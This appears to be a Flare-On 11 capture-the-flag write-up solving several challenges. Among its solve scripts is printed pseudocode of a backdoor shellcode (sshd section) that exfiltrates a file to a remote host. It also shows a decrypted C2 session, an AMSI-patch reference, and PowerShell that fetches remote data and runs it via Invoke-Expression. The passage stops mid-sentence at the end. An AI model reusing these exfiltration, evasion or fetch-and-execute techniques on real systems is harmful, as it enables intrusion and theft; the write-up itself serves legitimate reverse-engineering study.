43 minute read

frog

The provided archive was a PyGame with source included, where I found the following function:

def GenerateFlagText(x, y):
    key = x + y*20
    encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
    return ''.join([chr(ord(c) ^ key) for c in encoded])

This function is called only when the player is at co-ordinates (10, 10), hence this function can be trivially defined and called in a Python REPL with GenerateFlagText(x, y) to retrieve the flag.

Flag: welcome_to_11@flare-on.com

Checksum

The provided file is an unstripped Golang binary, and decompiling the file in Ghidra (which had better decompilation than Binary Ninja) reveals that the file does many iterations of a “math game” of sorts before prompting for a checksum. The input is used as a decryption key with XChaCha20-Poly1305 against embedded data. Once decrypted, main.a (at virtual address 0x4a77a0) takes the SHA256 digest of the plaintext and asserts equality against static value and encrypts it:

  expected_checksum = runtime::runtime.makeslice(&uint8___internal/abi.Type,len,len);
  i = 0;
  while( true ) {
    if (len <= i) {
      src.len = len;
      src.array = expected_checksum.array;
      src.cap = len;
      b64_encoded = encoding/base64::encoding/base64.(*Encoding).EncodeToString
                              (encoding/base64.StdEncoding,src);
      if (b64_encoded.len == 0x58) {
        uVar1 = runtime::runtime.memequal
                          (b64_encoded.str,
                           "cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1UL ByRdBEFdfVtWVA=="
                           ,0x58);
      }
      else {
        uVar1 = 0;
      }
      return (bool)uVar1;
    }
                    /* mod 11 */
    key_offset = i + (i / 0xb + (i >> 0x3f)) * -0xb;
    if (10 < key_offset) break;
    expected_checksum.array[i] = checksum_str[i] ^ "FlareOn2024"[key_offset];
    i = i + 1;
  }

The output of this function is then hex-decoded and compared against the user input. If it matches, the program then writes the decrypted data at %LOCALAPPDATA%\REAL_FLAREON_FLAG.JPG and exits.

Working backwards, this implies that the Base64 value cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA== is the expected hex-encoded checksum encrypted with the XOR key FlareOn2024. Using CyberChef, results in a valid hex string 64 characters long, or 256 bits long, the size of the SHA256 hash: 7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd

I then proceeded to patch the program to skip the long math game, and I inputted the checksum, as it was easier than statically decrypting it with another script, and it dropped the following image:

Gopher, the Golang mascot, with the FLARE logo superimposed on its body, holding a calculator with FLARE on its display. Below is the flag text

Flag: Th3_M4tH_Do_b3_m4th1ng@flare-on.com

aray

The provided file was a YARA rule:

import "hash"

rule aray
{
    meta:
        description = "Matches on b7dc94ca98aa58dabb5404541c812db2"
    condition:
        filesize == 85 and hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2" and filesize ^ uint8(11) != 107 and uint8(55) & 128 == 0 and ...

Most of the conditions use either a hash function, uint8 (selecting 1 byte), or uint32 (selecting 4 bytes as a little-endian integer). To begin, I extracted the individual rules into a file, for which I later wrote a parser and simple simplifier with the following rules:

  • simplify uint32(index) + const0 == const1, same with uint8 and the - and ^ operators; these can be directly simplified using simple algebra to get the constant values that were expected.
  • remove uint8(n) % x < x as they are redundant
  • identify the expected values for any hash calls using a pre-computed lookup table
import re
import itertools
import string
import zlib
from Crypto.Hash import MD5, SHA256

rules = {}
solved = {}

other = []

def simplify(line):
    if not (match := re.match(r"^(uint(?:8|32)\(.+\)) (.+) (\d+) (.?=) (\d+)", line)):
        return line

    target = match[1]
    operator = match[2]
    c1 = match[3]
    compare = match[4]
    c2 = match[5]

    value = None
    match operator:
        case "^":
            value = int(c2) ^ int(c1)
        case "+":
            value = int(c2) - int(c1)
        case "-":
            value = int(c2) + int(c1)

    if value is None:
        return line

    return f"{target} {compare} {value}"

crc_lookup = {}
md5_lookup = {}
sha_lookup = {}

for s in [
    (a + b).encode()
    for a, b in itertools.product(string.printable, string.printable)
]:
    crc_lookup[zlib.crc32(s) % (1<<32)] = s
    md5_lookup[MD5.new(data=s).digest()] = s
    sha_lookup[SHA256.new(data=s).digest()] = s


with open("aray.edited.yara") as f:
    for line in f:
        line = line.strip()
        if len(line) == 0:
            continue

        if (match := re.match(r"^uint(?:8|32)\((.+)\)", line)):
            index = int(match[1])

            if (match := re.match(r"^uint8\(.+\) % (\d+) < (\d+)", line)) and match[1] == match[2]:
                continue

            line = simplify(line)

            if (match := re.match(r"^uint8\(.+\) == (\d+)", line)):
                if index in solved:
                    raise Exception()

                solved[index] = int(match[1])
            elif (match := re.match(r"^uint32\(.+\) == (\d+)", line)):
                chars = int(match[1]).to_bytes(4, "little")
                for i in range(index, index + 4):
                    if i in solved:
                        raise Exception()

                    solved[i] = chars[i - index]
            else:
                rules.setdefault(index, []).append(line)
        elif (match := re.match(r"^hash.crc32\((\d+), 2\) == (0x.+)", line)):
            index = int(match[1])
            
            if (plain := crc_lookup.get(int(match[2], 16))) is not None:
                for i in range(index, index + 2):
                    if i in solved:
                        raise Exception()

                    solved[i] = plain[i - index]
            else:
                rules.setdefault(index, []).append(line)
        elif (match := re.match(r"^hash.(md5|sha256)\((\d+), 2\) == \"(.+)\"", line)):
            hash_type = match[1]
            index = int(match[2])

            digest = bytes.fromhex(match[3])
            if hash_type == "md5":
                plain = md5_lookup.get(digest)
            else:
                plain = sha_lookup.get(digest)
            
            if plain is not None:
                for i in range(index, index + 2):
                    if i in solved:
                        raise Exception()

                    solved[i] = plain[i - index]
            else:
                rules.setdefault(index, []).append(line)
        else:
            other.append(line)


if all(i in solved for i in range(85)):
    print("".join(chr(solved[i]) for i in range(85)))
else:
    for k in sorted(set(solved.keys()) | set(rules.keys())):
        if k in solved:
            print(f"{k}\t{chr(solved[k])}")
        else:
            for rule in rules[k]:
                print(rule)

for rule in other:
    print(rule)
$ python solve.py
rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f }
filesize == 85
hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2"

Flag: 1RuleADayK33p$Malw4r3Aw4y@flare-on.com

mememaker 3000

The given file was a HTML file with embedded and obfuscated JavaScript, which just implements a random meme generator. I had attempted to use my tool deobf, but it failed due to an error. This was because the strings that were obfuscated were too large. I then manually analysed the emebedded script, realised it didn’t have anti-debug, self-defense and that it wasn’t wrapped in a closure meaning all variables were accessible from JavaScript console.

Within one of the JavaScript object of template images (const a0e), there was one key, fish.jpg, which decoded to a PE file. I began to disassemble the program, but wasted time on it due to it being a red herring with no significance. I then identified function a0k which was unreferenced, and after some manual deobfuscation I had identified the following conditions before it extracts base64 parts from the meme texts and alerts it to the user:

document.getElementById('meme-image').alt.split('/').pop() == Object.keys(memeTemplates)[5] // "boy_friend0.jpg"
a0c.indexOf(document.getElementById('caption1').textContent) == 14
a0c.indexOf(document.getElementById('caption2').textContent) == a0c.length - 1
a0c.indexOf(document.getElementById('caption3').textContent) == 22

With this in mind, I quickly wrote script to force-satisfy all of the above conditions and get the intended solution and the easter egg meme:

document.getElementById('meme-template').value='boy_friend0.jpg';
document.getElementById('meme-template').dispatchEvent(new Event('change'))
document.getElementById('caption1').textContent = a0c[14];
document.getElementById('caption2').textContent = a0c[a0c.length - 1];
document.getElementById('caption3').textContent = a0c[22];
a0k();
Distracted boyfriend meme, with 'Security Expert' being distracted away from 'Malware' by 'FLARE On'

Flag: wh0a_it5_4_cru3l_j4va5cr1p7@flare-on.com

sshd

From the challenge title I immediately assumed it was related to the liblzma supply chain attack. The challenge provided an archive of a Linux filesystem in ssh_container.tar.

I immediately investigated the binary at /usr/bin/sshd and I took an embarassingly long time trying to use BinDiff against it before I realised that it had the same file size as the original sshd binary from Debian, and only contained two single-byte patches; one to enable coredumping, and one to disable some sandboxing rules.

With the above knowledge, I found a coredump at /var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676:

$ gdb usr/sbin/sshd var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676

I then used the dpkg file checksums to spot other outliers:

$ md5sum -c var/lib/dpkg/info/*.md5sums | grep FAILED
lib/x86_64-linux-gnu/liblzma.so.5.4.1: FAILED
md5sum: WARNING: 1 computed checksum did NOT match
usr/sbin/sshd: FAILED
md5sum: WARNING: 1 computed checksum did NOT match

Loading the coredump in gdb, I found that the coredump was a result of SIGSEGV (with $rip == 0x0), but the caller frame’s return address was within the address space for lib/x86_64-linux-gnu/liblzma.so.5.4.1. I took to reverse engineering the library and identified patching against RSA_public_decrypt from the call stack, similar to the real-life attack. The hook for RSA_public_decrypt (at virtual address 0x9820) mmaped executable memory, read encrypted shellcode at virtual address 0x23960, decrypted it and executed it.

I then statically decrypted and extracted the shellcode to reverse engineer. Due to the hook’s use of push and immediate pops to set syscall registers, I had manually disassemble as Binary Ninja failed to cleanly decompile this code. Below is a pseudocode of corresponding with the payload:

int sockfd = socket(AF_INET, SOCK_STREAM, PROTOCOL_TCP);
connect(sockfd, {.sin_family = AF_INET, .sin_port = 1337, .sin_addr = 0x0A00020F /* 10.0.2.15 */}, sizeof(struct sockaddr_in));
recvfrom(sockfd, &key, 32, 0, NULL, NULL);
recvfrom(sockfd, &nonce, 12, 0, NULL, NULL);
recvfrom(sockfd, &filename_length, 4, 0, NULL, NULL);
recvfrom(sockfd, &filename, filename_length, 0, NULL, NULL);

int fd = open(filename, O_RDONLY, 0);
read(fd, &data, 0x80);
size_t len = strlen(data);

chacha20_init_context(&ctx, key, nonce, 0);
chacha20_xor(&ctx, data, len);

sendto(sockfd, &len, 4, 0, NULL, NULL);
sendto(sockfd, data, len, 0, NULL, NULL);

close(sockfd);
shutdown(sockfd, sockfd);

Further down the stack in the coredump, I had identified a strange string at address 0x7ffcc6600be8, which was the path for a file that wasn’t found in the provided filesystem dump: /root/certificate_authority_signing_key.txt. Following the stack layout of local variables in the payload code, I identified that the bytes before it was the key and nonce, while the file path was the exfiltrated file.

I had then used the key and nonce to derive a keystream and bruteforce against the entire coredump file to crib for flare-on, to no avail. After being stuck here for a while and attempting more decryption, I went over the decrypted shellcode and realised that the ChaCha20 cipher was slightly modified from the original for further confusion; the counter in the state was not incremented and the magic constant was changed by one character, from expand 32 byte k to expand 32 byte K

31c31
< 	const uint8_t *magic_constant = (uint8_t*)"expand 32-byte k";
---
> 	const uint8_t *magic_constant = (uint8_t*)"expand 32-byte K";
86c86
< 	counter[0]++;
---
> 	// counter[0]++;
90c90
< 		counter[1]++;
---
> 		// counter[1]++;

I compiled the C ChaCha20 implementation including the above patch with a main function that derives and outputs a keystream 0x80 bytes long. I then used that keystream and my XOR crib script found the flag.

The XOR crib solve script is below:

from Crypto.Util.strxor import strxor

keystream = bytes.fromhex("DA8344787353C17F64629966CB03CEE3CEE8143B42931E5619F7ECF0BC94687008E5C843750D35477548A3B2CEED7AAA802B75B0BA7E29B3448E721EB7C28356DA8344787353C17F64629966CB03CEE3CEE8143B42931E5619F7ECF0BC94687008E5C843750D35477548A3B2CEED7AAA802B75B0BA7E29B3448E721EB7C28356")

with open("./root/var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676", "rb") as f:
    original = f.read()

for i in range(0x80):
    ks = (keystream[-i:]+ keystream[:-i])
    ks = (ks * (len(original)//len(ks)))[:len(original)]
    out = strxor(original, ks)
    if b"flare-on" in out:
        index = out.find(b"flare-on")
        print(out[index-50:index+50])

A cleaner solve would be to use the offset of the filename variable ($rbp-0x1248) in the shellcode with our knowledge of our stack layout; the data variable that’s subsequently XORed is located at $rbp-0x1148, or exactly 0x100 after where we found the filename string:

(gdb) dump binary memory encrypted_flag.bin (0x7ffcc6600c18+0x1278-0x1178) (0x7ffcc6600c18+0x1278-0x1178+0x32)

Flag: supp1y_cha1n_sund4y@flare-on.com

bloke2

The provided archive extracted to several Verilog files and instructions on how to execute the testbenches.

Sifting through the Verilog files reveals the following excerpt in data_mgr.v:

localparam TEST_VAL = 512'h3c9cf0addf2e45ef548b011f736cc99144bdfee0d69df4090c8a39c520e18ec3bdc1277aad1706f756affca41178dac066e4beb8ab7dd2d1402c4d624aaabe40;

I had a hunch the flag was encoded or encrypted in TEST_VAL, so I pivoted to its use in the same file:

h <= h_in ^ (TEST_VAL & {(W*16){tst}});

In Verilog, {(W*16){tst}} evaluates to zero or a W*16 bit mask. In this context, it basically acts as a conditional predicated on the value of tst, a one-bit register (basically a boolean); either XOR the value h with nothing (no-op) or with TEST_VAL if and only if tst is 1.

I tested a bit further with each testbench, toggling some $display elaborations before enabling the following on line 78 of data_mgr.v:

$display("%t dmgr dout h %h t %b", $time, h_in, tst);

I found that tst was always zero and hence the TEST_VAL was never used as a XOR key. I patched data_mgr.v to always perform the operation with the following change:

h <= h_in ^ (TEST_VAL);

I re-ran each testbench, and found that bloke2b_tb.v had the right ciphertext as one of its hash outputs:

$ iverilog -g2012 -s bloke2s_tb *.v
$ vvp a.out
              820000 dmgr dout h 20ecc2ab573de8c8c10325e24d78337b8d70faa8d9b58d8c70c0d0334613f4c1 t 0
Received message:                                 �J�
                                                     Q��0]_�rD��� \F٬�?�*���-�
             1990000 dmgr dout h 72760e4666c27397f0756c40c493e163aa72b446da0500f9091efb0328fea26e t 0
Received message:                                 .Tba�2I(�xq�
�̣;���ڦ`u��<)��
             3160000 dmgr dout h 62b5ce3f60aa773f4fbcac48c55cb8acac7daea262e361cd2402610fa4039d0c t 0
Received message:                                 L#��m,.d�����lb$��P�q��E�t�
$ iverilog -g2012 -s bloke2b_tb *.v
$ vvp a.out
              980000 dmgr dout h 3643e6e6054190369109e8ae8bd92ccac59fd49b273ac4ec4e7c59e2f5d73c277de64526d3aa9b32e4d9ac0cf09e33f1b953d6ec3737339526fb41da0981d637 t 0
Received message: wh+C�
                       �fD�J�Th��1���Pv�ŝ�~\b'��6�'`�B�0��{*"�[�������o�K�

             2630000 dmgr dout h d7c0cf2d4de0e6554335e8778d9705cb0e4524b70f1adaa0e2b730ce92bd3a9210fd6752778adc6971e48b5b3e23fba379e1a042c2cc387916160f0f5d71bd18 t 0
Received message: X�mB:V��i�c![/�wK'�ڝ�(@<�Q�\�
                                               	=�.��W��JZ���h����?\�
             4280000 dmgr dout h 51f39383b141688a26ea6d793315bbfe30de9f8689fa95656ad55fb143beef9cd3a8781ec867769624dba3c97027b39f1688dbd0f419bcb4337328112bcfd230 t 0
Received message: please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com

Alternatively, one can extract bloke2b("abc") from one of the $display elaboration in data_mgr.v, and XOR it with TEST_VAL, leading to the same result, as demonstrated in CyberChef.

Flag: please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com

fullspeed

This challenge provides fullspeed.exe and capture.pcapng. The former is a PE file with .managed and .hydrated sections, indicating that it was .NET AOT (e.g. natively complied). After trying and failing to manually reverse engineer the binary without symbols, I proceeded to generate a similar .NET AOT binary to create function signatures to apply.

Beforehand, I recognised that the BouncyCastle library was used and from my partial analysis and debugging, I identified the use of EllipticCurve and suspected that the challenge was based on cracking Elliptic Curve Diffie-Hellman. From strings present in the file, I determined the following:

  • .NET version: 8.0.524.21615\\8.0.5+087e15321bb712ef6fe8b0ba6f8bd12facf92629
  • BouncyCastle.Cryptography package version: 2.4.0

I had created a signature library by compiling the following test application with the same exact dependencies:

using System;
using System.Net.Sockets;

using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Agreement;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.Asn1.X9;

Console.WriteLine("Hello, World!");

using Socket socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
socket.Connect("192.168.56.103", 31337);

byte[] sendBytes = new byte[0x30];
byte[] responseBytes = new byte[0x30];
socket.Send(sendBytes);
socket.Receive(responseBytes);

SecureRandom random = new SecureRandom();

CipherKeyGenerator keyGen = new CipherKeyGenerator();
keyGen.Init(new KeyGenerationParameters(random, 256));
KeyParameter keyParam = keyGen.GenerateKeyParameter();

DHParametersGenerator pGen = new DHParametersGenerator();
pGen.Init(512, 10, random);
pGen.GenerateParameters();

DHParameters dhParams = DHStandardGroups.rfc7919_ffdhe3072;
DHKeyGenerationParameters dhKeyGenParams =
new DHKeyGenerationParameters(random, dhParams);
DHKeyPairGenerator dhKeyPairGen = new DHKeyPairGenerator();
dhKeyPairGen.Init(dhKeyGenParams);
AsymmetricCipherKeyPair dhKeyPair = dhKeyPairGen.GenerateKeyPair();

X9ECParameters ecParams = ECNamedCurveTable.GetByName("brainpoolp160r1");
new ECDomainParameters(
ecParams.Curve, ecParams.G, ecParams.N, ecParams.H, ecParams.GetSeed() );

ECDHCBasicAgreement keyAgreement = new ECDHCBasicAgreement();

Using Binary Ninja’s sigkit, I renamed a good chunk of symbols in the binary. With the newly correlated functions, I determined the logic of the binary.

The binary extensively uses XOR-encoded strings to deter static analysis; I had to go back and forth to x64dbg to determine which string a given address stored. My suspicions were correct as I had confirmed ECDH using the following curve:

\[y^2 = x^3 + ax + b \textrm{ over } \mathbb{Z}_q\]
# where
q = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f
b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
# and
g = (
    0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8, 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182
)

After constructing the FpCurve with BouncyCastle, the 80-bit private key \(d_A\) is then randomly generated using a CSPRNG that cannot be attacked (SecureRandom.CreatePrng(..., true)). \(x_A\) and \(y_A\) are each XOR’ed with \x13\x37 repeatedly before sending to the server. In turn, the server sends back encoded \(x_A\) and \(y_A\).

After the exchange, a shared Salsa20 key is then derived from the SHA512 digest of the shared \(x_k\) co-ordinate. Keep this in mind; the use Salsa20 was determined by a string found in memory referenced by a symbol attributed as Org.BouncyCastle.Crypto.Engines.Salsa20Engine::AlgorithmName (virtual address 0x14014a080).

After the encrypted channel is established with the keystream, both the client and server validates the connection by sending verify\0 and receiving the same. At this point, the server can send commands to the client (which will not be elaborated on).

I suspected that the curve itself was weak as it did not appear to be one of the mainstream standard curves used in the real world. After constructing the same curve in SageMath, I found that while the field was prime, its order was smooth:

sage: E = EllipticCurve(GF(0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd), [0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f, 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380])
sage: E.base().modulus().is_prime()
True
sage: E.order().is_prime()
False
sage: 

With this, we can attack using Pohlig-Hellman to factor congruences for the subgroups corresponding to the prime factors. An issue arose with the last prime factor of the order, which was 272-bit and infeasible to perform a discrete-log1. After being stuck here and getting a refresher over number theory, I realised that I can still solve it using a work around that uses the product of the easily factorable subgroups:

Let \(d\) be the unknown co-efficient in \(g * d = Q\) and \(p\) be all prime factors of the curve order and \(p_n\) be the large factor.

Use Pohlig-Hellman using \(p \setminus \{p_n\}\) to determine \(d \equiv d_m (\textrm{mod } q_m)\) where \(q_m = \prod_{i=1}^{n - 1}p_i\); in other words, find \(d_m = d \textrm{ mod } q_m\).

Iterate through all \(d\) candidates \(\{d_c \mid \exists k \in \mathbb{Z}, d_c = (Q_m * k) + d_m\}\) to find \(g * d_c = Q\).

Since the subgroup for the integer field over \(q_m\) is large enough, it only requires a couple hundred thousand iterations at most.

E = EllipticCurve(GF(0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd), [0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f, 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380])

# >>> print(E.trace_of_frobenius())
# 6259259973049303984458607251963156455493393803083893028237

# >>> print(E.order())
# 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297

# From FactorDB.com (create time: "Between September 28, 2024, 12:58 pm and September 28, 2024, 12:59 pm" lol)
order_factors = [
	35809,
	46027,
	56369,
	57301,
	65063,
	111659,
	113111,
	7072010737074051173701300310820071551428959987622994965153676442076542799542912293
]

order_factors = order_factors[:-1]

G = E(0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8, 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182)

order = G.order()

Q_a = E(0x195b46a760ed5a425dadcab37945867056d3e1a50124fffab78651193cea7758d4d590bed4f5f62d4a291270f1dcf499, 0x357731edebf0745d081033a668b58aaa51fa0b4fc02cd64c7e8668a016f0ec1317fcac24d8ec9f3e75167077561e2a15)
Q_b = E(0xb3e5f89f04d49834de312110ae05f0649b3f0bbe2987304fc4ec2f46d6f036f1a897807c4e693e0bb5cd9ac8a8005f06, 0x85944d98396918741316cd0109929cb706af0cca1eaf378219c5286bdc21e979210390573e3047645e1969bdbcb667eb)

# print("d =", target.log(G))

def pohlig_hellman(target):
	dlogs = []
	for fac in order_factors:
		t = int(order) // int(fac)
		print(f"{fac}:")
		dlog = discrete_log(t*target, t*G, operation="+", bounds=(0, 2**80))
		print(dlog)
		dlogs.append(dlog)

	d = crt(dlogs, order_factors)
	return d

def crack_shared_key():
	d_a = pohlig_hellman(Q_a)
	d_b = pohlig_hellman(Q_b)

	sub_mod = prod(order_factors)

	i = 0
	old_bit_length = 0
	K_a = None
	K_b = None
	while True:
		if i % 1000 == 0:
			print(i)

		dd_a = ((sub_mod * i) + d_a)
		dd_b = ((sub_mod * i) + d_b)
		q_a = G * dd_a
		q_b = G * dd_b

		if q_a == Q_a:
			print("d_a:", dd_a)
			K_a = Q_b * dd_a
			K = K_a
			break

		if q_b == Q_b:
			print("d_b:", dd_b)
			K_b = Q_a * dd_b
			K = K_b
			break

		# if K_a and K_b:
		# 	break

		if dd_a.bit_length() > 0x80 and dd_b.bit_length() > 0x80:
			break

		new_bit_length = max(dd_a.bit_length(), dd_b.bit_length())
		if old_bit_length < new_bit_length:
			print(f"{dd_a.bit_length()=:x} {dd_b.bit_length()=:x}")
			old_bit_length = new_bit_length

		i += 1

	# d_a: 168606034648973740214207039875253762473
	# d_b: 153712271226962757897869155910488792420

	# assert K_a == K_b
	return K

K = crack_shared_key()
# K = E(9285933189458587360370996409965684516994278319709076885861327850062567211786910941012004843231232528920376385508032, 380692327439186423832217831462830789200626503899948375582964334293932372864029888872966411054442434800585116270210)
preimage = K.x().to_bytes()
print(f"{preimage=}")

import hashlib

key = hashlib.sha512(preimage).digest()

from Crypto.Cipher import Salsa20

verify_ct = bytes.fromhex("f272d54c31860f")
verify_pt = b"verify\0"

cipher = Salsa20.new(key[:0x20], key[0x20:0x28])
pt = cipher.decrypt(verify_ct)
print(pt)

After cracking the private key \(d_A\) and validating it against public keys extracted and decoded from the packet capture, I used the shared secret with Salsa20 and… it didn’t work. The verify check had failed and I was left scratching my head. I just eventually tried ChaCha20 since it’s derived from Salsa20 and was used previously in sshd. It then finally worked. 🤦

The following is the C2 traffic (flow markers denoted by me)

>>>
verify
<<<
verify
>>>
ls
<<<
=== dirs ===
secrets
=== files ===
fullspeed.exe
>>>
cd|secrets
<<<
ok
>>>
ls
<<<
=== dirs ===
super secrets
=== files ===
>>>
cd|super secrets
<<<
ok
>>>
ls
<<<
=== dirs ===
.hidden
=== files ===
>>>
cd|.hidden
<<<
ok
>>>
ls
<<<
=== dirs ===
wait, dot folders aren't hidden on windows
=== files ===
>>>
cd|wait, dot folders aren't hidden on windows
<<<
ok
>>>
ls
<<<
=== dirs ===
=== files ===
flag.txt
>>>
cat|flag.txt
<<<
RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==
>>>
exit

Flag: D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com

clearlyfake

The provided JavaScript file clearlyfake.js was deobfuscated into the following:

const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
    try {
        const methodId = "0x5684cff5";
        const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
        const result = await web3.eth.call({
            to: contractAddress,
            data: encodedData
        });
        const largeString = web3.eth.abi.decodeParameter("string", result);
        const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
        const filePath = "decoded_output.txt";
        fs.writeFileSync(filePath, "$address = " + targetAddress + "\\n");
        const new_methodId = "0x5c880fcb";
        const blockNumber = 43152014;
        const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
        const newData = await web3.eth.call({
            to: contractAddress,
            data: newEncodedData
        }, blockNumber);
        const decodedData = web3.eth.abi.decodeParameter("string", newData);
        const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
        fs.writeFileSync(filePath, decodedData);
        console.log(`Saved decoded data to:${filePath}`)
    } catch (error) {
        console.error("Error calling contract function:", error)
    }
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);

This appears to call a smart contract on the BSC test-net, 0x9223f0630c598a200f99c5d4746531d10319a569. Using the Dedaub decompiler, yields some oddly constructed (possibly obfuscated?) code, which checks if the input matches giv3_M3_p4yL04d!, before returning the new targetAddress pointing to the smart contract 0x5324eab94b236d4d1456edc574363b113cebf09d.

Decompiling the secondary smart contract address didn’t yield much, so I pivoted on the transaction history using BscScan. Using the block number in the provided JavaScript lead to an interesting transaction with large input data. I constructed a CyberChef recipe and used it against the input data which yielded some obfuscated PowerShell. However, once deobfuscated, it appeared irrelevant and did not contain any presence of a flag:

#Rasta-mouses Amsi-Scan-Buffer patch \n
$fhfyc = @"
using System;
using System.Runtime.InteropServices;
public class fhfyc {
...

As it turns out, this was an issue identified by other players, and it was fixed later by the organisers, but the block number included in the provided file was not updated to reflect this.

Continuing on BscScan, I pivoted on other incoming transactions to the secondary smart contract, where I identified the most recent one which also had large input data. Once extracted with the CyberChef recipe, this was more PowerShell again, and this time with several layers of obfuscation.

Once deobfuscated, we get the following:

Set-Variable -Name testnet_endpoint -Value (" ")Set-Variable -Name _body -Value ('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, BLOCK],"id":1,"jsonrpc":"2.0"}')Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)
# Remove the '0x' prefix
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {    Set-Variable -Name startIndex -Value ($_ * 2)    Set-Variable -Name endIndex -Value ($startIndex + 1)    [Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)}) Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))
# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object {    '{0:X2}' -f $_
# Format each byte as two-digit hex with uppercase letters})
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
Write-Output $hexStringSet-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {    Set-Variable -Name startIndex -Value ($_ * 2)    Set-Variable -Name endIndex -Value ($startIndex + 1)    [Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)})Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))
# Convert the key to bytes
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
# Perform the XOR operation
Set-Variable -Name resultBytes -Value (@())for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {    Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length])) }
# Convert the result back to a string (assuming ASCII encoding)
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")Invoke-Expression $command

The above script makes a call from a test endpoint to a smart contract address, then extracts and decodes the returned Base64 string before further decoding it as a hex string. The raw bytes are then XORed using the key FLAREON24 and is written to C:\flag

I then iterated over the rest of the transaction history and found this transaction containing input data which decoded to hex:

